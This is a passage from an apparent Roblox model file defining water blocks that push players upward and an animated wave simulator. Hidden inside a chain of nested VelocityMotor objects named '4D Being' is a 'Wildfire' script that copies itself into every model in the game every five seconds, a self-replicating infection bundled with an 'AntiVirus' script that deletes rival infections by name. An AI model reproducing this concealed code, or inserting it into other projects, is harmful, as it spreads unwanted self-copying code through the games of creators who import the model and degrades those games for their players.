								</Vector3>
								<bool name="archivable">true</bool>
								<token name="shape">1</token>
								<Vector3 name="size">
									<X>20</X>
									<Y>1.20000005</Y>
									<Z>19</Z>
								</Vector3>
							</Properties>
							<Item class="Script" referent="RBX854">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">Script</string>
									<string name="Source">function onTouched(part)
	if part.Parent ~= nil then
		local h = part.Parent:findFirstChild(&quot;Humanoid&quot;)
			if h~=nil then
if  (h.Parent.Torso.Velocity.y &lt; 44) then
h.Parent.Torso.Velocity=Vector3.new(0,h.Parent.Torso.Velocity.y+12,0)--dont change this, its perfect xD
wait(0.0000001)--this smooths out our &quot;ride&quot;
end

			end			
	end
end

script.Parent.Touched:connect(onTouched)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
						<Item class="Part" referent="RBX855">
							<Properties>
								<bool name="Anchored">true</bool>
								<float name="BackParamA">-0.5</float>
								<float name="BackParamB">0.5</float>
								<token name="BackSurface">0</token>
								<token name="BackSurfaceInput">0</token>
								<float name="BottomParamA">-0.5</float>
								<float name="BottomParamB">0.5</float>
								<token name="BottomSurface">0</token>
								<token name="BottomSurfaceInput">0</token>
								<int name="BrickColor">23</int>
								<CoordinateFrame name="CFrame">
									<X>91</X>
									<Y>3.4000001</Y>
									<Z>233.5</Z>
									<R00>-1</R00>
									<R01>0</R01>
									<R02>0</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>-1</R22>
								</CoordinateFrame>
								<bool name="CanCollide">false</bool>
								<bool name="DraggingV1">false</bool>
								<float name="Elasticity">0.5</float>
								<token name="FormFactor">1</token>
								<float name="Friction">0.300000012</float>
								<float name="FrontParamA">-0.5</float>
								<float name="FrontParamB">0.5</float>
								<token name="FrontSurface">0</token>
								<token name="FrontSurfaceInput">0</token>
								<float name="LeftParamA">-0.5</float>
								<float name="LeftParamB">0.5</float>
								<token name="LeftSurface">0</token>
								<token name="LeftSurfaceInput">0</token>
								<bool name="Locked">false</bool>
								<token name="Material">256</token>
								<string name="Name">Water Block Model</string>
								<float name="Reflectance">0</float>
								<float name="RightParamA">-0.5</float>
								<float name="RightParamB">0.5</float>
								<token name="RightSurface">0</token>
								<token name="RightSurfaceInput">0</token>
								<Vector3 name="RotVelocity">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<float name="TopParamA">-0.5</float>
								<float name="TopParamB">0.5</float>
								<token name="TopSurface">0</token>
								<token name="TopSurfaceInput">0</token>
								<float name="Transparency">0.300000012</float>
								<Vector3 name="Velocity">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<bool name="archivable">true</bool>
								<token name="shape">1</token>
								<Vector3 name="size">
									<X>20</X>
									<Y>1.20000005</Y>
									<Z>19</Z>
								</Vector3>
							</Properties>
							<Item class="Script" referent="RBX856">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">Script</string>
									<string name="Source">function onTouched(part)
	if part.Parent ~= nil then
		local h = part.Parent:findFirstChild(&quot;Humanoid&quot;)
			if h~=nil then
if  (h.Parent.Torso.Velocity.y &lt; 25) then
h.Parent.Torso.Velocity=Vector3.new(0,h.Parent.Torso.Velocity.y+8,0)--dont change this, its perfect xD
wait(0.0000001)--this smooths out our &quot;ride&quot;
end

			end			
	end
end

script.Parent.Touched:connect(onTouched)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
						<Item class="Part" referent="RBX857">
							<Properties>
								<bool name="Anchored">true</bool>
								<float name="BackParamA">-0.5</float>
								<float name="BackParamB">0.5</float>
								<token name="BackSurface">0</token>
								<token name="BackSurfaceInput">0</token>
								<float name="BottomParamA">-0.5</float>
								<float name="BottomParamB">0.5</float>
								<token name="BottomSurface">0</token>
								<token name="BottomSurfaceInput">0</token>
								<int name="BrickColor">23</int>
								<CoordinateFrame name="CFrame">
									<X>91</X>
									<Y>2.20000005</Y>
									<Z>233.5</Z>
									<R00>-1</R00>
									<R01>0</R01>
									<R02>0</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>-1</R22>
								</CoordinateFrame>
								<bool name="CanCollide">false</bool>
								<bool name="DraggingV1">false</bool>
								<float name="Elasticity">0.5</float>
								<token name="FormFactor">1</token>
								<float name="Friction">0.300000012</float>
								<float name="FrontParamA">-0.5</float>
								<float name="FrontParamB">0.5</float>
								<token name="FrontSurface">0</token>
								<token name="FrontSurfaceInput">0</token>
								<float name="LeftParamA">-0.5</float>
								<float name="LeftParamB">0.5</float>
								<token name="LeftSurface">0</token>
								<token name="LeftSurfaceInput">0</token>
								<bool name="Locked">false</bool>
								<token name="Material">256</token>
								<string name="Name">Water Block Model</string>
								<float name="Reflectance">0</float>
								<float name="RightParamA">-0.5</float>
								<float name="RightParamB">0.5</float>
								<token name="RightSurface">0</token>
								<token name="RightSurfaceInput">0</token>
								<Vector3 name="RotVelocity">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<float name="TopParamA">-0.5</float>
								<float name="TopParamB">0.5</float>
								<token name="TopSurface">0</token>
								<token name="TopSurfaceInput">0</token>
								<float name="Transparency">0.300000012</float>
								<Vector3 name="Velocity">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<bool name="archivable">true</bool>
								<token name="shape">1</token>
								<Vector3 name="size">
									<X>20</X>
									<Y>1.20000005</Y>
									<Z>19</Z>
								</Vector3>
							</Properties>
							<Item class="Script" referent="RBX858">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">Script</string>
									<string name="Source">function onTouched(part)
	if part.Parent ~= nil then
		local h = part.Parent:findFirstChild(&quot;Humanoid&quot;)
			if h~=nil then
if  (h.Parent.Torso.Velocity.y &lt; 25) then
h.Parent.Torso.Velocity=Vector3.new(0,h.Parent.Torso.Velocity.y+8,0)--dont change this, its perfect xD
wait(0.0000001)--this smooths out our &quot;ride&quot;
end

			end			
	end
end

script.Parent.Touched:connect(onTouched)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
						<Item class="Part" referent="RBX859">
							<Properties>
								<bool name="Anchored">true</bool>
								<float name="BackParamA">-0.5</float>
								<float name="BackParamB">0.5</float>
								<token name="BackSurface">0</token>
								<token name="BackSurfaceInput">0</token>
								<float name="BottomParamA">-0.5</float>
								<float name="BottomParamB">0.5</float>
								<token name="BottomSurface">0</token>
								<token name="BottomSurfaceInput">0</token>
								<int name="BrickColor">23</int>
								<CoordinateFrame name="CFrame">
									<X>91</X>
									<Y>1</Y>
									<Z>233.5</Z>
									<R00>-1</R00>
									<R01>0</R01>
									<R02>0</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>-1</R22>
								</CoordinateFrame>
								<bool name="CanCollide">false</bool>
								<bool name="DraggingV1">false</bool>
								<float name="Elasticity">0.5</float>
								<token name="FormFactor">1</token>
								<float name="Friction">0.300000012</float>
								<float name="FrontParamA">-0.5</float>
								<float name="FrontParamB">0.5</float>
								<token name="FrontSurface">0</token>
								<token name="FrontSurfaceInput">0</token>
								<float name="LeftParamA">-0.5</float>
								<float name="LeftParamB">0.5</float>
								<token name="LeftSurface">0</token>
								<token name="LeftSurfaceInput">0</token>
								<bool name="Locked">false</bool>
								<token name="Material">256</token>
								<string name="Name">Water Block Model</string>
								<float name="Reflectance">0</float>
								<float name="RightParamA">-0.5</float>
								<float name="RightParamB">0.5</float>
								<token name="RightSurface">0</token>
								<token name="RightSurfaceInput">0</token>
								<Vector3 name="RotVelocity">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<float name="TopParamA">-0.5</float>
								<float name="TopParamB">0.5</float>
								<token name="TopSurface">0</token>
								<token name="TopSurfaceInput">0</token>
								<float name="Transparency">0.300000012</float>
								<Vector3 name="Velocity">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<bool name="archivable">true</bool>
								<token name="shape">1</token>
								<Vector3 name="size">
									<X>20</X>
									<Y>1.20000005</Y>
									<Z>19</Z>
								</Vector3>
							</Properties>
							<Item class="Script" referent="RBX860">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">Script</string>
									<string name="Source">function onTouched(part)
	if part.Parent ~= nil then
		local h = part.Parent:findFirstChild(&quot;Humanoid&quot;)
			if h~=nil then
if  (h.Parent.Torso.Velocity.y &lt; 25) then
h.Parent.Torso.Velocity=Vector3.new(0,h.Parent.Torso.Velocity.y+8,0)--dont change this, its perfect xD
wait(0.0000001)--this smooths out our &quot;ride&quot;
end

			end			
	end
end

script.Parent.Touched:connect(onTouched)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
						<Item class="VelocityMotor" referent="RBX861">
							<Properties>
								<CoordinateFrame name="C0">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
									<R00>1</R00>
									<R01>0</R01>
									<R02>0</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>1</R22>
								</CoordinateFrame>
								<CoordinateFrame name="C1">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
									<R00>1</R00>
									<R01>0</R01>
									<R02>0</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>1</R22>
								</CoordinateFrame>
								<float name="CurrentAngle">0</float>
								<float name="DesiredAngle">0</float>
								<Ref name="Hole">null</Ref>
								<float name="MaxVelocity">0</float>
								<string name="Name">4D Being</string>
								<Ref name="Part0">null</Ref>
								<Ref name="Part1">null</Ref>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="VelocityMotor" referent="RBX862">
								<Properties>
									<CoordinateFrame name="C0">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
										<R00>1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>1</R22>
									</CoordinateFrame>
									<CoordinateFrame name="C1">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
										<R00>1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>1</R22>
									</CoordinateFrame>
									<float name="CurrentAngle">0</float>
									<float name="DesiredAngle">0</float>
									<Ref name="Hole">null</Ref>
									<float name="MaxVelocity">0</float>
									<string name="Name">4D Being</string>
									<Ref name="Part0">null</Ref>
									<Ref name="Part1">null</Ref>
									<bool name="archivable">true</bool>
								</Properties>
								<Item class="VelocityMotor" referent="RBX863">
									<Properties>
										<CoordinateFrame name="C0">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
											<R00>1</R00>
											<R01>0</R01>
											<R02>0</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>0</R20>
											<R21>0</R21>
											<R22>1</R22>
										</CoordinateFrame>
										<CoordinateFrame name="C1">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
											<R00>1</R00>
											<R01>0</R01>
											<R02>0</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>0</R20>
											<R21>0</R21>
											<R22>1</R22>
										</CoordinateFrame>
										<float name="CurrentAngle">0</float>
										<float name="DesiredAngle">0</float>
										<Ref name="Hole">null</Ref>
										<float name="MaxVelocity">0</float>
										<string name="Name">4D Being</string>
										<Ref name="Part0">null</Ref>
										<Ref name="Part1">null</Ref>
										<bool name="archivable">true</bool>
									</Properties>
									<Item class="VelocityMotor" referent="RBX864">
										<Properties>
											<CoordinateFrame name="C0">
												<X>0</X>
												<Y>0</Y>
												<Z>0</Z>
												<R00>1</R00>
												<R01>0</R01>
												<R02>0</R02>
												<R10>0</R10>
												<R11>1</R11>
												<R12>0</R12>
												<R20>0</R20>
												<R21>0</R21>
												<R22>1</R22>
											</CoordinateFrame>
											<CoordinateFrame name="C1">
												<X>0</X>
												<Y>0</Y>
												<Z>0</Z>
												<R00>1</R00>
												<R01>0</R01>
												<R02>0</R02>
												<R10>0</R10>
												<R11>1</R11>
												<R12>0</R12>
												<R20>0</R20>
												<R21>0</R21>
												<R22>1</R22>
											</CoordinateFrame>
											<float name="CurrentAngle">0</float>
											<float name="DesiredAngle">0</float>
											<Ref name="Hole">null</Ref>
											<float name="MaxVelocity">0</float>
											<string name="Name">4D Being</string>
											<Ref name="Part0">null</Ref>
											<Ref name="Part1">null</Ref>
											<bool name="archivable">true</bool>
										</Properties>
										<Item class="VelocityMotor" referent="RBX865">
											<Properties>
												<CoordinateFrame name="C0">
													<X>0</X>
													<Y>0</Y>
													<Z>0</Z>
													<R00>1</R00>
													<R01>0</R01>
													<R02>0</R02>
													<R10>0</R10>
													<R11>1</R11>
													<R12>0</R12>
													<R20>0</R20>
													<R21>0</R21>
													<R22>1</R22>
												</CoordinateFrame>
												<CoordinateFrame name="C1">
													<X>0</X>
													<Y>0</Y>
													<Z>0</Z>
													<R00>1</R00>
													<R01>0</R01>
													<R02>0</R02>
													<R10>0</R10>
													<R11>1</R11>
													<R12>0</R12>
													<R20>0</R20>
													<R21>0</R21>
													<R22>1</R22>
												</CoordinateFrame>
												<float name="CurrentAngle">0</float>
												<float name="DesiredAngle">0</float>
												<Ref name="Hole">null</Ref>
												<float name="MaxVelocity">0</float>
												<string name="Name">4D Being</string>
												<Ref name="Part0">null</Ref>
												<Ref name="Part1">null</Ref>
												<bool name="archivable">true</bool>
											</Properties>
											<Item class="Script" referent="RBX866">
												<Properties>
													<bool name="Disabled">false</bool>
													<Content name="LinkedSource"><null></null></Content>
													<string name="Name">Script</string>
													<string name="Source">l = Instance.new(&quot;VelocityMotor&quot;)
l.Parent = script.Parent
l.Name = &quot;4D Being&quot;
script.Parent = l
</string>
													<bool name="archivable">true</bool>
												</Properties>
												<Item class="Model" referent="RBX867">
													<Properties>
														<CoordinateFrame name="ModelInPrimary">
															<X>0</X>
															<Y>0</Y>
															<Z>0</Z>
															<R00>1</R00>
															<R01>0</R01>
															<R02>0</R02>
															<R10>0</R10>
															<R11>1</R11>
															<R12>0</R12>
															<R20>0</R20>
															<R21>0</R21>
															<R22>1</R22>
														</CoordinateFrame>
														<string name="Name">4D Being</string>
														<Ref name="PrimaryPart">null</Ref>
														<bool name="archivable">true</bool>
													</Properties>
													<Item class="Script" referent="RBX868">
														<Properties>
															<bool name="Disabled">false</bool>
															<Content name="LinkedSource"><null></null></Content>
															<string name="Name">Wildfire</string>
															<string name="Source">function dive()


p= game.Workspace:GetChildren()	


for i= 1, #p do				


if p[i].className == &quot;Model&quot; and p[i]:findFirstChild(&quot;4D Being&quot;) == nil then


script.Parent.Parent:clone().Parent = p[i]


end


end


end





while true do


wait(5)


dive()


end


</string>
															<bool name="archivable">true</bool>
														</Properties>
													</Item>
													<Item class="Script" referent="RBX869">
														<Properties>
															<bool name="Disabled">false</bool>
															<Content name="LinkedSource"><null></null></Content>
															<string name="Name">AntiVirus</string>
															<string name="Source">maliciousscripts = {&quot;Infected&quot;, &quot;Anti-Lag&quot;}
maliciousobjects = {&quot;OHAI&quot;, &quot;No samurai plzzz&quot;, &quot;OH SNAP YOU GOT INFECTED XD XD XD&quot;, &quot;IMDOINGITOKSODONTKILLMENOW&quot;}
maliciousclasses = {&quot;Geometry&quot;, &quot;Timer&quot;}
hiddenclasses = {&quot;AutoJoint&quot;, &quot;BackpackItem&quot;, &quot;Feature&quot;, &quot;Glue&quot;, &quot;HtmlWindow&quot;, &quot;JointInstance&quot;, &quot;LocalBackpack&quot;, &quot;LocalBackpackItem&quot;, &quot;MotorFeature&quot;, &quot;Mouse&quot;, &quot;Rotate&quot;, &quot;RotateP&quot;, &quot;RotateV&quot;, &quot;Snap&quot;, &quot;StockSound&quot;, &quot;VelocityMotor&quot;, &quot;Weld&quot;}

--set these three variables to your liking
local printAll = false
local fullscan = true
local doublescan = false
--set these three variables to your liking

--Type &quot;ScanForViruses(model,0,true)&quot; to scan a model after the initial scan. model should be the model (eg. game.Workspace.Model). Type &quot;ScanForViruses(model,0,false)&quot; to reveal all scripts.

function getAncestry(i)
	local s = &quot;&quot;
	local p = i.Parent
	s = p.Name
	while p ~= game do
		p = p.Parent
		s = p.Name..&quot;.&quot;..s
	end
	return s
end

function Check(i,n,w)
	local s = &quot;&quot;
	for a = 1, n do
		s = s..&quot;- - &quot;
	end
	if i == nil then return end
	if printAll then print(s..&quot;Checking &quot;..i.Name) end
	if i == script then return end --don&apos;t need to check self, will still check children of self
	if i.className == &quot;Script&quot; then
		for x = 1, #maliciousscripts do
			if i.Name == maliciousscripts[x] then
--				print(&quot;Malicious script &quot;..i.Name..&quot; detected in &quot;..getAncestry(i)..&quot; (&quot;..i.className..&quot;)&quot;) --&quot;Infected&quot; scripts. Do I need to say more?
				i:Remove()
				return
			end
		end
		if i.Parent ~= nil and w == false then
--			print(&quot;Script &quot;..i.Name..&quot; detected in &quot;..getAncestry(i)..&quot; (&quot;..i.className..&quot;)&quot;)
		end
	end
	for x = 1, #maliciousobjects do
		if i.Name == maliciousobjects[x] then
--			print(&quot;Malicious object &quot;..i.Name..&quot; detected in &quot;..getAncestry(i)..&quot; (&quot;..i.className..&quot;)&quot;) --Unlikely that people will give a legitimate object a name used on the malicious object list
			i:Remove()
			return
		end
	end
	for x = 1, #maliciousclasses do
		if i.className == maliciousclasses[x] then
--			print(&quot;Malicious object &quot;..i.Name..&quot; detected in &quot;..getAncestry(i)..&quot; (&quot;..i.className..&quot;)&quot;) --unlikely to be useful, likely to be malicious and removed
			i:Remove()
			return
		end
	end
	for x = 1, #hiddenclasses do
		if (hiddenclasses[x] == &quot;Rotate&quot; or hiddenclasses[x] == &quot;Weld&quot; or hiddenclasses[x] == &quot;Snap&quot; or hiddenclasses[x] == &quot;Glue&quot; or hiddenclasses[x] == &quot;Motor&quot; or hiddenclasses[x] == &quot;AutoJoint&quot; or hiddenclasses[x] == &quot;JointInstance&quot; or hiddenclasses[x] == &quot;MotorFeature&quot; or hiddenclasses[x] == &quot;VelocityMotor&quot;) and i.Parent == game.JointsService then
			--do not notify of these
		else
			if i.className == hiddenclasses[x] then
--				print(&quot;Hidden object &quot;..i.Name..&quot; detected in &quot;..getAncestry(i)..&quot; (&quot;..i.className..&quot;)&quot;) --not necessarily malicious, but may be. Remove only if you didn&apos;t except the object to be in there
			end
		end
	end
end

_G[&quot;ScanForViruses&quot;] = function(m,n,w)
	local s = &quot;&quot;
	for a = 1, n do
		s = s..&quot;- - &quot;
	end
	if m == nil then return end
	if m == game.Stats then return end
	if m.Name == &quot;GuiRoot&quot; and m.Parent == game then return end
	if printAll then print(s..&quot;Scanning children of &quot;..m.Name) end
	local c = m:getChildren()
	if #c &gt; 0 then
		for i = 1,#c do
			Check(c[i],n+1,w)
			if (c[i] == game.Workspace) then
				ScanForViruses(c[i],n+1,true)
			else
				ScanForViruses(c[i],n+1,w)
			end
		end
	end
end

ScanForViruses(game.Workspace,1,true)
ScanForViruses(game.Players,1,true)
ScanForViruses(game.Lighting,1,true)
ScanForViruses(game.StarterPack,1,true)
ScanForViruses(game:findFirstChild(&quot;Teams&quot;),1,true)
ScanForViruses(game.Soundscape,1,true)

--print(&quot;QuickScan Complete&quot;)

if fullscan then wait(5) ScanForViruses(game,0,false) end

--print(&quot;Scan Complete&quot;)

if doublescan then ScanForViruses(game,0,false) end

--print(&quot;Scan Complete&quot;)</string>
															<bool name="archivable">true</bool>
														</Properties>
													</Item>
												</Item>
											</Item>
										</Item>
									</Item>
								</Item>
							</Item>
						</Item>
					</Item>
					<Item class="Model" referent="RBX870">
						<Properties>
							<CoordinateFrame name="ModelInPrimary">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">Wave Simulator</string>
							<Ref name="PrimaryPart">null</Ref>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Model" referent="RBX871">
							<Properties>
								<CoordinateFrame name="ModelInPrimary">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
									<R00>1</R00>
									<R01>0</R01>
									<R02>0</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>1</R22>
								</CoordinateFrame>
								<string name="Name">Waves</string>
								<Ref name="PrimaryPart">null</Ref>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Part" referent="RBX872">
								<Properties>
									<bool name="Anchored">true</bool>
									<float name="BackParamA">-0.5</float>
									<float name="BackParamB">0.5</float>
									<token name="BackSurface">0</token>
									<token name="BackSurfaceInput">0</token>
									<float name="BottomParamA">-0.5</float>
									<float name="BottomParamB">0.5</float>
									<token name="BottomSurface">4</token>
									<token name="BottomSurfaceInput">0</token>
									<int name="BrickColor">23</int>
									<CoordinateFrame name="CFrame">
										<X>98.5</X>
										<Y>8</Y>
										<Z>233.5</Z>
										<R00>-1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>-1</R22>
									</CoordinateFrame>
									<bool name="CanCollide">false</bool>
									<bool name="DraggingV1">false</bool>
									<float name="Elasticity">0.5</float>
									<token name="FormFactor">2</token>
									<float name="Friction">0.300000012</float>
									<float name="FrontParamA">-0.5</float>
									<float name="FrontParamB">0.5</float>
									<token name="FrontSurface">0</token>
									<token name="FrontSurfaceInput">0</token>
									<float name="LeftParamA">-0.5</float>
									<float name="LeftParamB">0.5</float>
									<token name="LeftSurface">0</token>
									<token name="LeftSurfaceInput">0</token>
									<bool name="Locked">false</bool>
									<token name="Material">256</token>
									<string name="Name">Smooth Block Model</string>
									<float name="Reflectance">0</float>
									<float name="RightParamA">-0.5</float>
									<float name="RightParamB">0.5</float>
									<token name="RightSurface">0</token>
									<token name="RightSurfaceInput">0</token>
									<Vector3 name="RotVelocity">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<float name="TopParamA">-0.5</float>
									<float name="TopParamB">0.5</float>
									<token name="TopSurface">3</token>
									<token name="TopSurfaceInput">0</token>
									<float name="Transparency">0.100000001</float>
									<Vector3 name="Velocity">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<bool name="archivable">true</bool>
									<token name="shape">1</token>
									<Vector3 name="size">
										<X>1</X>
										<Y>0.800000012</Y>
										<Z>19</Z>
									</Vector3>
								</Properties>
								<Item class="Script" referent="RBX873">
									<Properties>
										<bool name="Disabled">false</bool>
										<Content name="LinkedSource"><null></null></Content>
										<string name="Name">Script</string>
										<string name="Source">while true do


script.Parent.BM.Scale = Vector3.new(1,1.4,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.4,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.6,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.8,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.4,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.6,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.8,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,3,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.8,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.6,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.4,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.8,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.6,1)
wait(0.025)

end
</string>
										<bool name="archivable">true</bool>
									</Properties>
									<Item class="StockSound" referent="RBX874">
										<Properties>
											<bool name="Looped">false</bool>
											<string name="Name">l9xi</string>
											<float name="Pitch">1</float>
											<int name="PlayCount">-1</int>
											<bool name="PlayOnRemove">false</bool>
											<Content name="SoundId"><null></null></Content>
											<float name="Volume">0.5</float>
											<bool name="archivable">true</bool>
										</Properties>
									</Item>
								</Item>
								<Item class="BlockMesh" referent="RBX875">
									<Properties>
										<float name="Bevel">0</float>
										<float name="Bevel Roundness">0</float>
										<float name="Bulge">0</float>
										<token name="LODX">2</token>
										<token name="LODY">2</token>
										<string name="Name">BM</string>
										<Vector3 name="Offset">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<Vector3 name="Scale">
											<X>1</X>
											<Y>2.79999995</Y>
											<Z>1</Z>
										</Vector3>
										<Vector3 name="VertexColor">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
										<bool name="archivable">true</bool>
									</Properties>
									<Item class="StockSound" referent="RBX876">
										<Properties>
											<bool name="Looped">false</bool>
											<string name="Name">dsk1php6f</string>
											<float name="Pitch">1</float>
											<int name="PlayCount">-1</int>
											<bool name="PlayOnRemove">false</bool>
											<Content name="SoundId"><null></null></Content>
											<float name="Volume">0.5</float>
											<bool name="archivable">true</bool>
										</Properties>
									</Item>
								</Item>
								<Item class="StockSound" referent="RBX877">
									<Properties>
										<bool name="Looped">false</bool>
										<string name="Name">umpne0</string>
										<float name="Pitch">1</float>
										<int name="PlayCount">-1</int>
										<bool name="PlayOnRemove">false</bool>
										<Content name="SoundId"><null></null></Content>
										<float name="Volume">0.5</float>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
								<Item class="Decal" referent="RBX878">
									<Properties>
										<token name="Face">1</token>
										<string name="Name">Decal</string>
										<float name="Shiny">20</float>
										<float name="Specular">0</float>
										<Content name="Texture"><url>http://www.roblox.com/asset/?id=15161938</url></Content>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
							</Item>
							<Item class="Part" referent="RBX879">
								<Properties>
									<bool name="Anchored">true</bool>
									<float name="BackParamA">-0.5</float>
									<float name="BackParamB">0.5</float>
									<token name="BackSurface">0</token>
									<token name="BackSurfaceInput">0</token>
									<float name="BottomParamA">-0.5</float>
									<float name="BottomParamB">0.5</float>
									<token name="BottomSurface">4</token>
									<token name="BottomSurfaceInput">0</token>
									<int name="BrickColor">23</int>
									<CoordinateFrame name="CFrame">
										<X>100.5</X>
										<Y>8</Y>
										<Z>233.5</Z>
										<R00>-1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>-1</R22>
									</CoordinateFrame>
									<bool name="CanCollide">false</bool>
									<bool name="DraggingV1">false</bool>
									<float name="Elasticity">0.5</float>
									<token name="FormFactor">2</token>
									<float name="Friction">0.300000012</float>
									<float name="FrontParamA">-0.5</float>
									<float name="FrontParamB">0.5</float>
									<token name="FrontSurface">0</token>
									<token name="FrontSurfaceInput">0</token>
									<float name="LeftParamA">-0.5</float>
									<float name="LeftParamB">0.5</float>
									<token name="LeftSurface">0</token>
									<token name="LeftSurfaceInput">0</token>
									<bool name="Locked">false</bool>
									<token name="Material">256</token>
									<string name="Name">Smooth Block Model</string>
									<float name="Reflectance">0</float>
									<float name="RightParamA">-0.5</float>
									<float name="RightParamB">0.5</float>
									<token name="RightSurface">0</token>
									<token name="RightSurfaceInput">0</token>
									<Vector3 name="RotVelocity">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<float name="TopParamA">-0.5</float>
									<float name="TopParamB">0.5</float>
									<token name="TopSurface">3</token>
									<token name="TopSurfaceInput">0</token>
									<float name="Transparency">0.100000001</float>
									<Vector3 name="Velocity">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<bool name="archivable">true</bool>
									<token name="shape">1</token>
									<Vector3 name="size">
										<X>1</X>
										<Y>0.800000012</Y>
										<Z>19</Z>
									</Vector3>
								</Properties>
								<Item class="Script" referent="RBX880">
									<Properties>
										<bool name="Disabled">false</bool>
										<Content name="LinkedSource"><null></null></Content>
										<string name="Name">Script</string>
										<string name="Source">while true do


script.Parent.BM.Scale = Vector3.new(1,1,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.4,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.6,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.8,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.4,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.6,1)
wait(0.025)
